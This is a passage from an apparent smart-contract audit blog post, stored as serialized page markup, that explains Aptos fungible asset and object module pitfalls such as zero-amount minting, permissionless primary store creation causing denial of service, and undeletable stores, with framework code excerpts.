8},[65402],{"type":30,"value":476},{"type":24,"tag":930,"props":65404,"children":65405},{"style":1023},[65406],{"type":30,"value":6159},{"type":24,"tag":930,"props":65408,"children":65409},{"style":959},[65410],{"type":30,"value":39290},{"type":24,"tag":930,"props":65412,"children":65413},{"style":1158},[65414],{"type":30,"value":1161},{"type":24,"tag":930,"props":65416,"children":65417},{"style":1023},[65418],{"type":30,"value":64894},{"type":24,"tag":930,"props":65420,"children":65421},{"style":959},[65422],{"type":30,"value":5539},{"type":24,"tag":930,"props":65424,"children":65425},{"class":932,"line":993},[65426,65431,65435,65439,65443,65447,65452,65456,65461],{"type":24,"tag":930,"props":65427,"children":65428},{"style":1002},[65429],{"type":30,"value":65430},"    assert!",{"type":24,"tag":930,"props":65432,"children":65433},{"style":959},[65434],{"type":30,"value":1010},{"type":24,"tag":930,"props":65436,"children":65437},{"style":1023},[65438],{"type":30,"value":23410},{"type":24,"tag":930,"props":65440,"children":65441},{"style":1158},[65442],{"type":30,"value":6402},{"type":24,"tag":930,"props":65444,"children":65445},{"style":1242},[65446],{"type":30,"value":1245},{"type":24,"tag":930,"props":65448,"children":65449},{"style":959},[65450],{"type":30,"value":65451},", error",{"type":24,"tag":930,"props":65453,"children":65454},{"style":1158},[65455],{"type":30,"value":6597},{"type":24,"tag":930,"props":65457,"children":65458},{"style":1002},[65459],{"type":30,"value":65460},"invalid_argument",{"type":24,"tag":930,"props":65462,"children":65463},{"style":959},[65464],{"type":30,"value":65465},"(EAMOUNT_IS_NOT_ZERO));\n",{"type":24,"tag":930,"props":65467,"children":65468},{"class":932,"line":1057},[65469],{"type":24,"tag":930,"props":65470,"children":65471},{"style":959},[65472],{"type":30,"value":2528},{"type":24,"tag":930,"props":65474,"children":65475},{"class":932,"line":1066},[65476],{"type":24,"tag":930,"props":65477,"children":65478},{"emptyLinePlaceholder":16},[65479],{"type":30,"value":2412},{"type":24,"tag":930,"props":65481,"children":65482},{"class":932,"line":1075},[65483,65487,65491,65496,65500,65504,65508,65512,65516,65520,65524,65528,65532,65536,65540,65544,65548],{"type":24,"tag":930,"props":65484,"children":65485},{"style":1023},[65486],{"type":30,"value":64762},{"type":24,"tag":930,"props":65488,"children":65489},{"style":1023},[65490],{"type":30,"value":9320},{"type":24,"tag":930,"props":65492,"children":65493},{"style":1023},[65494],{"type":30,"value":65495}," zero",{"type":24,"tag":930,"props":65497,"children":65498},{"style":959},[65499],{"type":30,"value":1350},{"type":24,"tag":930,"props":65501,"children":65502},{"style":943},[65503],{"type":30,"value":9100},{"type":24,"tag":930,"props":65505,"children":65506},{"style":1158},[65507],{"type":30,"value":476},{"type":24,"tag":930,"props":65509,"children":65510},{"style":1023},[65511],{"type":30,"value":9044},{"type":24,"tag":930,"props":65513,"children":65514},{"style":959},[65515],{"type":30,"value":10721},{"type":24,"tag":930,"props":65517,"children":65518},{"style":1023},[65519],{"type":30,"value":65398},{"type":24,"tag":930,"props":65521,"children":65522},{"style":1158},[65523],{"type":30,"value":476},{"type":24,"tag":930,"props":65525,"children":65526},{"style":943},[65527],{"type":30,"value":64648},{"type":24,"tag":930,"props":65529,"children":65530},{"style":959},[65531],{"type":30,"value":1350},{"type":24,"tag":930,"props":65533,"children":65534},{"style":943},[65535],{"type":30,"value":9100},{"type":24,"tag":930,"props":65537,"children":65538},{"style":959},[65539],{"type":30,"value":11498},{"type":24,"tag":930,"props":65541,"children":65542},{"style":1158},[65543],{"type":30,"value":476},{"type":24,"tag":930,"props":65545,"children":65546},{"style":943},[65547],{"type":30,"value":64627},{"type":24,"tag":930,"props":65549,"children":65550},{"style":959},[65551],{"type":30,"value":981},{"type":24,"tag":930,"props":65553,"children":65554},{"class":932,"line":1122},[65555,65560],{"type":24,"tag":930,"props":65556,"children":65557},{"style":943},[65558],{"type":30,"value":65559},"    FungibleAsset",{"type":24,"tag":930,"props":65561,"children":65562},{"style":959},[65563],{"type":30,"value":981},{"type":24,"tag":930,"props":65565,"children":65566},{"class":932,"line":1131},[65567,65572,65576,65581,65585,65590,65594,65598],{"type":24,"tag":930,"props":65568,"children":65569},{"style":1023},[65570],{"type":30,"value":65571},"        metadata",{"type":24,"tag":930,"props":65573,"children":65574},{"style":1158},[65575],{"type":30,"value":476},{"type":24,"tag":930,"props":65577,"children":65578},{"style":959},[65579],{"type":30,"value":65580}," object",{"type":24,"tag":930,"props":65582,"children":65583},{"style":1158},[65584],{"type":30,"value":6597},{"type":24,"tag":930,"props":65586,"children":65587},{"style":1002},[65588],{"type":30,"value":65589},"convert",{"type":24,"tag":930,"props":65591,"children":65592},{"style":959},[65593],{"type":30,"value":1010},{"type":24,"tag":930,"props":65595,"children":65596},{"style":1023},[65597],{"type":30,"value":65398},{"type":24,"tag":930,"props":65599,"children":65600},{"style":959},[65601],{"type":30,"value":9848},{"type":24,"tag":930,"props":65603,"children":65604},{"class":932,"line":1144},[65605,65609,65613,65617],{"type":24,"tag":930,"props":65606,"children":65607},{"style":1023},[65608],{"type":30,"value":10560},{"type":24,"tag":930,"props":65610,"children":65611},{"style":1158},[65612],{"type":30,"value":476},{"type":24,"tag":930,"props":65614,"children":65615},{"style":1242},[65616],{"type":30,"value":1245},{"type":24,"tag":930,"props":65618,"children":65619},{"style":959},[65620],{"type":30,"value":2832},{"type":24,"tag":930,"props":65622,"children":65623},{"class":932,"line":1169},[65624],{"type":24,"tag":930,"props":65625,"children":65626},{"style":959},[65627],{"type":30,"value":1840},{"type":24,"tag":930,"props":65629,"children":65630},{"class":932,"line":1191},[65631],{"type":24,"tag":930,"props":65632,"children":65633},{"style":959},[65634],{"type":30,"value":2528},{"type":24,"tag":33,"props":65636,"children":65637},{},[65638],{"type":30,"value":65639},"In theory, this shouldn’t pose a problem. After all, having zero of something doesn’t exactly qualify as ownership.",{"type":24,"tag":33,"props":65641,"children":65642},{},[65643,65645,65650],{"type":30,"value":65644},"In practice, the ability to freely mint and burn zero ",{"type":24,"tag":156,"props":65646,"children":65648},{"className":65647},[],[65649],{"type":30,"value":64740},{"type":30,"value":65651}," of any type could present a significant risk. During our reviews, we enountered many protocols that did not account for this possibility, leading to arithmetic errors, DoS logic bugs or inaccurate calculations. Keep in mind that edge case, we'll come back to this.",{"type":24,"tag":151,"props":65653,"children":65655},{"id":65654},"primary-and-secondary-stores",[65656],{"type":30,"value":65657},"Primary and secondary stores",{"type":24,"tag":33,"props":65659,"children":65660},{},[65661,65667,65669,65675,65677,65682],{"type":24,"tag":156,"props":65662,"children":65664},{"className":65663},[],[65665],{"type":30,"value":65666},"FungibleStores",{"type":30,"value":65668}," in comparison to ",{"type":24,"tag":156,"props":65670,"children":65672},{"className":65671},[],[65673],{"type":30,"value":65674},"CoinStores",{"type":30,"value":65676}," are not unique. Each user can have multiple ",{"type":24,"tag":156,"props":65678,"children":65680},{"className":65679},[],[65681],{"type":30,"value":65162},{"type":30,"value":65683}," objects for a given token!",{"type":24,"tag":33,"props":65685,"children":65686},{},[65687,65689,65696,65698,65703],{"type":30,"value":65688},"A primary fungible store is maintained via the aptly named ",{"type":24,"tag":37,"props":65690,"children":65693},{"href":65691,"rel":65692},"https://github.com/aptos-labs/aptos-core/blob/2bea962eac4743db6cc0ae2e8a2fd7fcc323b121/aptos-move/framework/aptos-framework/sources/primary_fungible_store.move",[41],[65694],{"type":30,"value":65695},"primary_fungible_store",{"type":30,"value":65697}," module. It's \"primary\" because of its deterministic location, which is calculated using the owner and the fungible asset's ",{"type":24,"tag":156,"props":65699,"children":65701},{"className":65700},[],[65702],{"type":30,"value":64657},{"type":30,"value":65704}," addresses. Users can also create a number of \"secondary\" fungible stores by themselves.",{"type":24,"tag":33,"props":65706,"children":65707},{},[65708],{"type":30,"value":65709},"One key feature of the primary fungible stores is their permissionless creation. This can lead to surprising denial of service bugs!",{"type":24,"tag":920,"props":65711,"children":65713},{"className":6102,"code":65712,"language":6101,"meta":7,"style":7},"public entry fun register(\n    user: &signer, [...]\n) acquires [...] {\n    [...]\n    let wallet_store = create_primary_store(signer::address_of(sender), get_metadata());\n    [...]\n}\n",[65714],{"type":24,"tag":156,"props":65715,"children":65716},{"__ignoreMap":7},[65717,65742,65774,65797,65813,65867,65882],{"type":24,"tag":930,"props":65718,"children":65719},{"class":932,"line":933},[65720,65724,65729,65733,65738],{"type":24,"tag":930,"props":65721,"children":65722},{"style":1023},[65723],{"type":30,"value":64762},{"type":24,"tag":930,"props":65725,"children":65726},{"style":1023},[65727],{"type":30,"value":65728}," entry",{"type":24,"tag":930,"props":65730,"children":65731},{"style":1023},[65732],{"type":30,"value":9320},{"type":24,"tag":930,"props":65734,"children":65735},{"style":1002},[65736],{"type":30,"value":65737}," register",{"type":24,"tag":930,"props":65739,"children":65740},{"style":959},[65741],{"type":30,"value":2814},{"type":24,"tag":930,"props":65743,"children":65744},{"class":932,"line":984},[65745,65750,65754,65758,65762,65766,65770],{"type":24,"tag":930,"props":65746,"children":65747},{"style":1023},[65748],{"type":30,"value":65749},"    user",{"type":24,"tag":930,"props":65751,"children":65752},{"style":1158},[65753],{"type":30,"value":476},{"type":24,"tag":930,"props":65755,"children":65756},{"style":1158},[65757],{"type":30,"value":10253},{"type":24,"tag":930,"props":65759,"children":65760},{"style":1023},[65761],{"type":30,"value":10258},{"type":24,"tag":930,"props":65763,"children":65764},{"style":959},[65765],{"type":30,"value":47227},{"type":24,"tag":930,"props":65767,"children":65768},{"style":1158},[65769],{"type":30,"value":12699},{"type":24,"tag":930,"props":65771,"children":65772},{"style":959},[65773],{"type":30,"value":14879},{"type":24,"tag":930,"props":65775,"children":65776},{"class":932,"line":993},[65777,65781,65785,65789,65793],{"type":24,"tag":930,"props":65778,"children":65779},{"style":959},[65780],{"type":30,"value":5579},{"type":24,"tag":930,"props":65782,"children":65783},{"style":1023},[65784],{"type":30,"value":9456},{"type":24,"tag":930,"props":65786,"children":65787},{"style":959},[65788],{"type":30,"value":26134},{"type":24,"tag":930,"props":65790,"children":65791},{"style":1158},[65792],{"type":30,"value":12699},{"type":24,"tag":930,"props":65794,"children":65795},{"style":959},[65796],{"type":30,"value":64853},{"type":24,"tag":930,"props":65798,"children":65799},{"class":932,"line":1057},[65800,65805,65809],{"type":24,"tag":930,"props":65801,"children":65802},{"style":959},[65803],{"type":30,"value":65804},"    [",{"type":24,"tag":930,"props":65806,"children":65807},{"style":1158},[65808],{"type":30,"value":12699},{"type":24,"tag":930,"props":65810,"children":65811},{"style":959},[65812],{"type":30,"value":14879},{"type":24,"tag":930,"props":65814,"children":65815},{"class":932,"line":1066},[65816,65820,65825,65829,65834,65838,65842,65846,65850,65854,65858,65863],{"type":24,"tag":930,"props":65817,"children":65818},{"style":937},[65819],{"type":30,"value":6122},{"type":24,"tag":930,"props":65821,"children":65822},{"style":1023},[65823],{"type":30,"value":65824}," wallet_store",{"type":24,"tag":930,"props":65826,"children":65827},{"style":1158},[65828],{"type":30,"value":6137},{"type":24,"tag":930,"props":65830,"children":65831},{"style":1002},[65832],{"type":30,"value":65833}," create_primary_store",{"type":24,"tag":930,"props":65835,"children":65836},{"style":959},[65837],{"type":30,"value":10312},{"type":24,"tag":930,"props":65839,"children":65840},{"style":1158},[65841],{"type":30,"value":6597},{"type":24,"tag":930,"props":65843,"children":65844},{"style":1002},[65845],{"type":30,"value":10321},{"type":24,"tag":930,"props":65847,"children":65848},{"style":959},[65849],{"type":30,"value":1010},{"type":24,"tag":930,"props":65851,"children":65852},{"style":1023},[65853],{"type":30,"value":64948},{"type":24,"tag":930,"props":65855,"children":65856},{"style":959},[65857],{"type":30,"value":3199},{"type":24,"tag":930,"props":65859,"children":65860},{"style":1002},[65861],{"type":30,"value":65862},"get_metadata",{"type":24,"tag":930,"props":65864,"children":65865},{"style":959},[65866],{"type":30,"value":18528},{"type":24,"tag":930,"props":65868,"children":65869},{"class":932,"line":1075},[65870,65874,65878],{"type":24,"tag":930,"props":65871,"children":65872},{"style":959},[65873],{"type":30,"value":65804},{"type":24,"tag":930,"props":65875,"children":65876},{"style":1158},[65877],{"type":30,"value":12699},{"type":24,"tag":930,"props":65879,"children":65880},{"style":959},[65881],{"type":30,"value":14879},{"type":24,"tag":930,"props":65883,"children":65884},{"class":932,"line":1122},[65885],{"type":24,"tag":930,"props":65886,"children":65887},{"style":959},[65888],{"type":30,"value":2528},{"type":24,"tag":33,"props":65890,"children":65891},{},[65892,65893,65899,65901,65907],{"type":30,"value":259},{"type":24,"tag":156,"props":65894,"children":65896},{"className":65895},[],[65897],{"type":30,"value":65898},"create_primary_store",{"type":30,"value":65900}," function can introduce DoS vulnerabilities because it aborts if the store already exists. Using ",{"type":24,"tag":156,"props":65902,"children":65904},{"className":65903},[],[65905],{"type":30,"value":65906},"ensure_primary_store_exists",{"type":30,"value":65908}," is recommended to avoid such issues.",{"type":24,"tag":68,"props":65910,"children":65912},{"id":65911},"fungible-assets-and-objects",[65913],{"type":30,"value":65914},"Fungible assets and objects",{"type":24,"tag":33,"props":65916,"children":65917},{},[65918,65920,65925,65927,65934],{"type":30,"value":65919},"The fungible asset standard is not a standalone module. It has heavy dependencies on a sibling module, the ",{"type":24,"tag":156,"props":65921,"children":65923},{"className":65922},[],[65924],{"type":30,"value":51940},{"type":30,"value":65926}," module, introduced in ",{"type":24,"tag":37,"props":65928,"children":65931},{"href":65929,"rel":65930},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-10.md",[41],[65932],{"type":30,"value":65933},"AIP-10",{"type":30,"value":436},{"type":24,"tag":6054,"props":65936,"children":65937},{},[65938],{"type":24,"tag":33,"props":65939,"children":65940},{},[65941,65945],{"type":24,"tag":930,"props":65942,"children":65943},{},[65944],{"type":30,"value":64537},{"type":30,"value":65946}," proposes a standard for Fungible Assets (FA) using Move Objects. In this model, any on-chain asset represented as an object can also be expressed as a fungible asset allowing for a single object to be represented by many distinct, yet interchangeable units of ownership.",{"type":24,"tag":33,"props":65948,"children":65949},{},[65950],{"type":30,"value":65951},"These two modules are closely intertwined, and their connection can be surprisingly intricate.",{"type":24,"tag":151,"props":65953,"children":65955},{"id":65954},"creation-and-deletion",[65956],{"type":30,"value":65957},"Creation and deletion",{"type":24,"tag":33,"props":65959,"children":65960},{},[65961,65963,65969],{"type":30,"value":65962},"To create a fungible resource, an undeletable object must first be created. \"Undeletable\" means, that it's not possible to get a permission to delete it. This is verified in ",{"type":24,"tag":156,"props":65964,"children":65966},{"className":65965},[],[65967],{"type":30,"value":65968},"fungible_asset::add_fungibility",{"type":30,"value":476},{"type":24,"tag":920,"props":65971,"children":65973},{"className":6102,"code":65972,"language":6101,"meta":7,"style":7},"assert!(!object::can_generate_delete_ref(constructor_ref), error::invalid_argument(EOBJECT_IS_DELETABLE));\n",[65974],{"type":24,"tag":156,"props":65975,"children":65976},{"__ignoreMap":7},[65977],{"type":24,"tag":930,"props":65978,"children":65979},{"class":932,"line":933},[65980,65984,65988,65992,65997,66001,66006,66010,66015,66020,66024,66028],{"type":24,"tag":930,"props":65981,"children":65982},{"style":1002},[65983],{"type":30,"value":45072},{"type":24,"tag":930,"props":65985,"children":65986},{"style":959},[65987],{"type":30,"value":1010},{"type":24,"tag":930,"props":65989,"children":65990},{"style":1158},[65991],{"type":30,"value":3299},{"type":24,"tag":930,"props":65993,"children":65994},{"style":959},[65995],{"type":30,"value":65996},"object",{"type":24,"tag":930,"props":65998,"children":65999},{"style":1158},[66000],{"type":30,"value":6597},{"type":24,"tag":930,"props":66002,"children":66003},{"style":1002},[66004],{"type":30,"value":66005},"can_generate_delete_ref",{"type":24,"tag":930,"props":66007,"children":66008},{"style":959},[66009],{"type":30,"value":1010},{"type":24,"tag":930,"props":66011,"children":66012},{"style":1023},[66013],{"type":30,"value":66014},"constructor_ref",{"type":24,"tag":930,"props":66016,"children":66017},{"style":959},[66018],{"type":30,"value":66019},"), error",{"type":24,"tag":930,"props":66021,"children":66022},{"style":1158},[66023],{"type":30,"value":6597},{"type":24,"tag":930,"props":66025,"children":66026},{"style":1002},[66027],{"type":30,"value":65460},{"type":24,"tag":930,"props":66029,"children":66030},{"style":959},[66031],{"type":30,"value":66032},"(EOBJECT_IS_DELETABLE));\n",{"type":24,"tag":33,"props":66034,"children":66035},{},[66036,66038,66043,66045,66050,66051,66058],{"type":30,"value":66037},"This object serves as the foundation for ownership tokens in the form of a ",{"type":24,"tag":156,"props":66039,"children":66041},{"className":66040},[],[66042],{"type":30,"value":64598},{"type":30,"value":66044},". This means that allowing it to be deletable wouldn't make sense and would impact the usability of such fungible assets, restricting users from accessing critical functionalities such as creating new stores. In the past the ",{"type":24,"tag":156,"props":66046,"children":66048},{"className":66047},[],[66049],{"type":30,"value":65968},{"type":30,"value":510},{"type":24,"tag":37,"props":66052,"children":66055},{"href":66053,"rel":66054},"https://github.com/aptos-labs/aptos-core/commit/6976f8e9004b0f6ebb6fd976410d695c5a5a7ace",[41],[66056],{"type":30,"value":66057},"lacked this assert",{"type":30,"value":66059},", which we discovered and reported.",{"type":24,"tag":33,"props":66061,"children":66062},{},[66063,66068,66070,66075,66077,66082],{"type":24,"tag":156,"props":66064,"children":66066},{"className":66065},[],[66067],{"type":30,"value":65968},{"type":30,"value":66069}," transfers the ",{"type":24,"tag":156,"props":66071,"children":66073},{"className":66072},[],[66074],{"type":30,"value":64657},{"type":30,"value":66076}," and associated resources to this new object. After that, with the appropriate permissions, the ",{"type":24,"tag":156,"props":66078,"children":66080},{"className":66079},[],[66081],{"type":30,"value":64598},{"type":30,"value":66083}," can be minted, representing a share of ownership in that object.",{"type":24,"tag":920,"props":66085,"children":66087},{"className":6102,"code":66086,"language":6101,"meta":7,"style":7},"/// Make an existing object fungible by adding the Metadata resource.\npublic fun add_fungibility(\n    [...]\n): Object\u003CMetadata> {\n    [...]\n    move_to(metadata_object_signer,\n        Metadata {\n            name,\n            symbol,\n            decimals,\n            icon_uri,\n            project_uri,\n        }\n    );\n[...]\n}\n",[66088],{"type":24,"tag":156,"props":66089,"children":66090},{"__ignoreMap":7},[66091,66099,66119,66134,66161,66176,66197,66209,66221,66233,66245,66257,66269,66276,66283,66298],{"type":24,"tag":930,"props":66092,"children":66093},{"class":932,"line":933},[66094],{"type":24,"tag":930,"props":66095,"children":66096},{"style":1422},[66097],{"type":30,"value":66098},"/// Make an existing object fungible by adding the Metadata resource.\n",{"type":24,"tag":930,"props":66100,"children":66101},{"class":932,"line":984},[66102,66106,66110,66115],{"type":24,"tag":930,"props":66103,"children":66104},{"style":1023},[66105],{"type":30,"value":64762},{"type":24,"tag":930,"props":66107,"children":66108},{"style":1023},[66109],{"type":30,"value":9320},{"type":24,"tag":930,"props":66111,"children":66112},{"style":1002},[66113],{"type":30,"value":66114}," add_fungibility",{"type":24,"tag":930,"props":66116,"children":66117},{"style":959},[66118],{"type":30,"value":2814},{"type":24,"tag":930,"props":66120,"children":66121},{"class":932,"line":993},[66122,66126,66130],{"type":24,"tag":930,"props":66123,"children":66124},{"style":959},[66125],{"type":30,"value":65804},{"type":24,"tag":930,"props":66127,"children":66128},{"style":1158},[66129],{"type":30,"value":12699},{"type":24,"tag":930,"props":66131,"children":66132},{"style":959},[66133],{"type":30,"value":14879},{"type":24,"tag":930,"props":66135,"children":66136},{"class":932,"line":1057},[66137,66141,66145,66149,66153,66157],{"type":24,"tag":930,"props":66138,"children":66139},{"style":959},[66140],{"type":30,"value":6249},{"type":24,"tag":930,"props":66142,"children":66143},{"style":1158},[66144],{"type":30,"value":476},{"type":24,"tag":930,"props":66146,"children":66147},{"style":943},[66148],{"type":30,"value":64648},{"type":24,"tag":930,"props":66150,"children":66151},{"style":959},[66152],{"type":30,"value":1350},{"type":24,"tag":930,"props":66154,"children":66155},{"style":943},[66156],{"type":30,"value":64657},{"type":24,"tag":930,"props":66158,"children":66159},{"style":959},[66160],{"type":30,"value":10392},{"type":24,"tag":930,"props":66162,"children":66163},{"class":932,"line":1066},[66164,66168,66172],{"type":24,"tag":930,"props":66165,"children":66166},{"style":959},[66167],{"type":30,"value":65804},{"type":24,"tag":930,"props":66169,"children":66170},{"style":1158},[66171],{"type":30,"value":12699},{"type":24,"tag":930,"props":66173,"children":66174},{"style":959},[66175],{"type":30,"value":14879},{"type":24,"tag":930,"props":66177,"children":66178},{"class":932,"line":1075},[66179,66184,66188,66193],{"type":24,"tag":930,"props":66180,"children":66181},{"style":1002},[66182],{"type":30,"value":66183},"    move_to",{"type":24,"tag":930,"props":66185,"children":66186},{"style":959},[66187],{"type":30,"value":1010},{"type":24,"tag":930,"props":66189,"children":66190},{"style":1023},[66191],{"type":30,"value":66192},"metadata_object_signer",{"type":24,"tag":930,"props":66194,"children":66195},{"style":959},[66196],{"type":30,"value":2832},{"type":24,"tag":930,"props":66198,"children":66199},{"class":932,"line":1122},[66200,66205],{"type":24,"tag":930,"props":66201,"children":66202},{"style":943},[66203],{"type":30,"value":66204},"        Metadata",{"type":24,"tag":930,"props":66206,"children":66207},{"style":959},[66208],{"type":30,"value":981},{"type":24,"tag":930,"props":66210,"children":66211},{"class":932,"line":1131},[66212,66217],{"type":24,"tag":930,"props":66213,"children":66214},{"style":1023},[66215],{"type":30,"value":66216},"            name",{"type":24,"tag":930,"props":66218,"children":66219},{"style":959},[66220],{"type":30,"value":2832},{"type":24,"tag":930,"props":66222,"children":66223},{"class":932,"line":1144},[66224,66229],{"type":24,"tag":930,"props":66225,"children":66226},{"style":1023},[66227],{"type":30,"value":66228},"            symbol",{"type":24,"tag":930,"props":66230,"children":66231},{"style":959},[66232],{"type":30,"value":2832},{"type":24,"tag":930,"props":66234,"children":66235},{"class":932,"line":1169},[66236,66241],{"type":24,"tag":930,"props":66237,"children":66238},{"style":1023},[66239],{"type":30,"value":66240},"            decimals",{"type":24,"tag":930,"props":66242,"children":66243},{"style":959},[66244],{"type":30,"value":2832},{"type":24,"tag":930,"props":66246,"children":66247},{"class":932,"line":1191},[66248,66253],{"type":24,"tag":930,"props":66249,"children":66250},{"style":1023},[66251],{"type":30,"value":66252},"            icon_uri",{"type":24,"tag":930,"props":66254,"children":66255},{"style":959},[66256],{"type":30,"value":2832},{"type":24,"tag":930,"props":66258,"children":66259},{"class":932,"line":1223},[66260,66265],{"type":24,"tag":930,"props":66261,"children":66262},{"style":1023},[66263],{"type":30,"value":66264},"            project_uri",{"type":24,"tag":930,"props":66266,"children":66267},{"style":959},[66268],{"type":30,"value":2832},{"type":24,"tag":930,"props":66270,"children":66271},{"class":932,"line":1281},[66272],{"type":24,"tag":930,"props":66273,"children":66274},{"style":959},[66275],{"type":30,"value":1831},{"type":24,"tag":930,"props":66277,"children":66278},{"class":932,"line":1313},[66279],{"type":24,"tag":930,"props":66280,"children":66281},{"style":959},[66282],{"type":30,"value":46746},{"type":24,"tag":930,"props":66284,"children":66285},{"class":932,"line":1335},[66286,66290,66294],{"type":24,"tag":930,"props":66287,"children":66288},{"style":959},[66289],{"type":30,"value":6849},{"type":24,"tag":930,"props":66291,"children":66292},{"style":1158},[66293],{"type":30,"value":12699},{"type":24,"tag":930,"props":66295,"children":66296},{"style":959},[66297],{"type":30,"value":14879},{"type":24,"tag":930,"props":66299,"children":66300},{"class":932,"line":1376},[66301],{"type":24,"tag":930,"props":66302,"children":66303},{"style":959},[66304],{"type":30,"value":2528},{"type":24,"tag":21895,"props":66306,"children":66307},{},[],{"type":24,"tag":33,"props":66309,"children":66310},{},[66311,66313,66318,66320,66325],{"type":30,"value":66312},"Deletions can be a big issue even when dealing with objects that are eligible for deletion. For example, a ",{"type":24,"tag":156,"props":66314,"children":66316},{"className":66315},[],[66317],{"type":30,"value":65162},{"type":30,"value":66319}," is also an object, and a \"secondary\" ",{"type":24,"tag":156,"props":66321,"children":66323},{"className":66322},[],[66324],{"type":30,"value":65162},{"type":30,"value":66326}," can be created as deletable if empty. The catch is that deletion can occur both at the fungible asset level and at the object level.",{"type":24,"tag":920,"props":66328,"children":66330},{"className":6102,"code":66329,"language":6101,"meta":7,"style":7},"//Fungible asset\npublic fun remove_store(delete_ref: &DeleteRef)\n\n//Object\npublic fun delete(ref: DeleteRef)\n",[66331],{"type":24,"tag":156,"props":66332,"children":66333},{"__ignoreMap":7},[66334,66342,66384,66391,66399],{"type":24,"tag":930,"props":66335,"children":66336},{"class":932,"line":933},[66337],{"type":24,"tag":930,"props":66338,"children":66339},{"style":1422},[66340],{"type":30,"value":66341},"//Fungible asset\n",{"type":24,"tag":930,"props":66343,"children":66344},{"class":932,"line":984},[66345,66349,66353,66358,66362,66367,66371,66375,66380],{"type":24,"tag":930,"props":66346,"children":66347},{"style":1023},[66348],{"type":30,"value":64762},{"type":24,"tag":930,"props":66350,"children":66351},{"style":1023},[66352],{"type":30,"value":9320},{"type":24,"tag":930,"props":66354,"children":66355},{"style":1002},[66356],{"type":30,"value":66357}," remove_store",{"type":24,"tag":930,"props":66359,"children":66360},{"style":959},[66361],{"type":30,"value":1010},{"type":24,"tag":930,"props":66363,"children":66364},{"style":1023},[66365],{"type":30,"value":66366},"delete_ref",{"type":24,"tag":930,"props":66368,"children":66369},{"style":1158},[66370],{"type":30,"value":476},{"type":24,"tag":930,"props":66372,"children":66373},{"style":1158},[66374],{"type":30,"value":10253},{"type":24,"tag":930,"props":66376,"children":66377},{"style":943},[66378],{"type":30,"value":66379},"DeleteRef",{"type":24,"tag":930,"props":66381,"children":66382},{"style":959},[66383],{"type":30,"value":1054},{"type":24,"tag":930,"props":66385,"children":66386},{"class":932,"line":993},[66387],{"type":24,"tag":930,"props":66388,"children":66389},{"emptyLinePlaceholder":16},[66390],{"type":30,"value":2412},{"type":24,"tag":930,"props":66392,"children":66393},{"class":932,"line":1057},[66394],{"type":24,"tag":930,"props":66395,"children":66396},{"style":1422},[66397],{"type":30,"value":66398},"//Object\n",{"type":24,"tag":930,"props":66400,"children":66401},{"class":932,"line":1066},[66402,66406,66410,66415,66419,66424,66428,66433],{"type":24,"tag":930,"props":66403,"children":66404},{"style":1023},[66405],{"type":30,"value":64762},{"type":24,"tag":930,"props":66407,"children":66408},{"style":1023},[66409],{"type":30,"value":9320},{"type":24,"tag":930,"props":66411,"children":66412},{"style":1002},[66413],{"type":30,"value":66414}," delete",{"type":24,"tag":930,"props":66416,"children":66417},{"style":959},[66418],{"type":30,"value":1010},{"type":24,"tag":930,"props":66420,"children":66421},{"style":937},[66422],{"type":30,"value":66423},"ref",{"type":24,"tag":930,"props":66425,"children":66426},{"style":1158},[66427],{"type":30,"value":476},{"type":24,"tag":930,"props":66429,"children":66430},{"style":943},[66431],{"type":30,"value":66432}," DeleteRef",{"type":24,"tag":930,"props":66434,"children":66435},{"style":959},[66436],{"type":30,"value":1054},{"type":24,"tag":33,"props":66438,"children":66439},{},[66440,66441,66447,66449,66454,66456,66461,66463,66468,66470,66476,66478,66484,66486,66491],{"type":30,"value":5788},{"type":24,"tag":156,"props":66442,"children":66444},{"className":66443},[],[66445],{"type":30,"value":66446},"object::delete",{"type":30,"value":66448}," removes the ",{"type":24,"tag":156,"props":66450,"children":66452},{"className":66451},[],[66453],{"type":30,"value":51940},{"type":30,"value":66455}," from a ",{"type":24,"tag":156,"props":66457,"children":66459},{"className":66458},[],[66460],{"type":30,"value":65162},{"type":30,"value":66462}," object, the ",{"type":24,"tag":156,"props":66464,"children":66466},{"className":66465},[],[66467],{"type":30,"value":65162},{"type":30,"value":66469}," resource becomes permanently undeletable. This is because ",{"type":24,"tag":156,"props":66471,"children":66473},{"className":66472},[],[66474],{"type":30,"value":66475},"remove_store",{"type":30,"value":66477}," can't create an ",{"type":24,"tag":156,"props":66479,"children":66481},{"className":66480},[],[66482],{"type":30,"value":66483},"Object\u003CFungibleStore>",{"type":30,"value":66485}," without an ",{"type":24,"tag":156,"props":66487,"children":66489},{"className":66488},[],[66490],{"type":30,"value":51940},{"type":30,"value":66492}," underneath, causing the operation to fail.",{"type":24,"tag":920,"props":66494,"children":66496},{"className":6102,"code":66495,"language":6101,"meta":7,"style":7},"public fun remove_store(delete_ref: &DeleteRef) acquires [...] {\n    let store = &object::object_from_delete_ref\u003CFungibleStore>(delete_ref);\n    [...]\n}\n",[66497],{"type":24,"tag":156,"props":66498,"children":66499},{"__ignoreMap":7},[66500,66555,66607,66622],{"type":24,"tag":930,"props":66501,"children":66502},{"class":932,"line":933},[66503,66507,66511,66515,66519,66523,66527,66531,66535,66539,66543,66547,66551],{"type":24,"tag":930,"props":66504,"children":66505},{"style":1023},[66506],{"type":30,"value":64762},{"type":24,"tag":930,"props":66508,"children":66509},{"style":1023},[66510],{"type":30,"value":9320},{"type":24,"tag":930,"props":66512,"children":66513},{"style":1002},[66514],{"type":30,"value":66357},{"type":24,"tag":930,"props":66516,"children":66517},{"style":959},[66518],{"type":30,"value":1010},{"type":24,"tag":930,"props":66520,"children":66521},{"style":1023},[66522],{"type":30,"value":66366},{"type":24,"tag":930,"props":66524,"children":66525},{"style":1158},[66526],{"type":30,"value":476},{"type":24,"tag":930,"props":66528,"children":66529},{"style":1158},[66530],{"type":30,"value":10253},{"type":24,"tag":930,"props":66532,"children":66533},{"style":943},[66534],{"type":30,"value":66379},{"type":24,"tag":930,"props":66536,"children":66537},{"style":959},[66538],{"type":30,"value":5579},{"type":24,"tag":930,"props":66540,"children":66541},{"style":1023},[66542],{"type":30,"value":9456},{"type":24,"tag":930,"props":66544,"children":66545},{"style":959},[66546],{"type":30,"value":26134},{"type":24,"tag":930,"props":66548,"children":66549},{"style":1158},[66550],{"type":30,"value":12699},{"type":24,"tag":930,"props":66552,"children":66553},{"style":959},[66554],{"type":30,"value":64853},{"type":24,"tag":930,"props":66556,"children":66557},{"class":932,"line":984},[66558,66562,66566,66570,66574,66578,66582,66587,66591,66595,66599,66603],{"type":24,"tag":930,"props":66559,"children":66560},{"style":937},[66561],{"type":30,"value":6122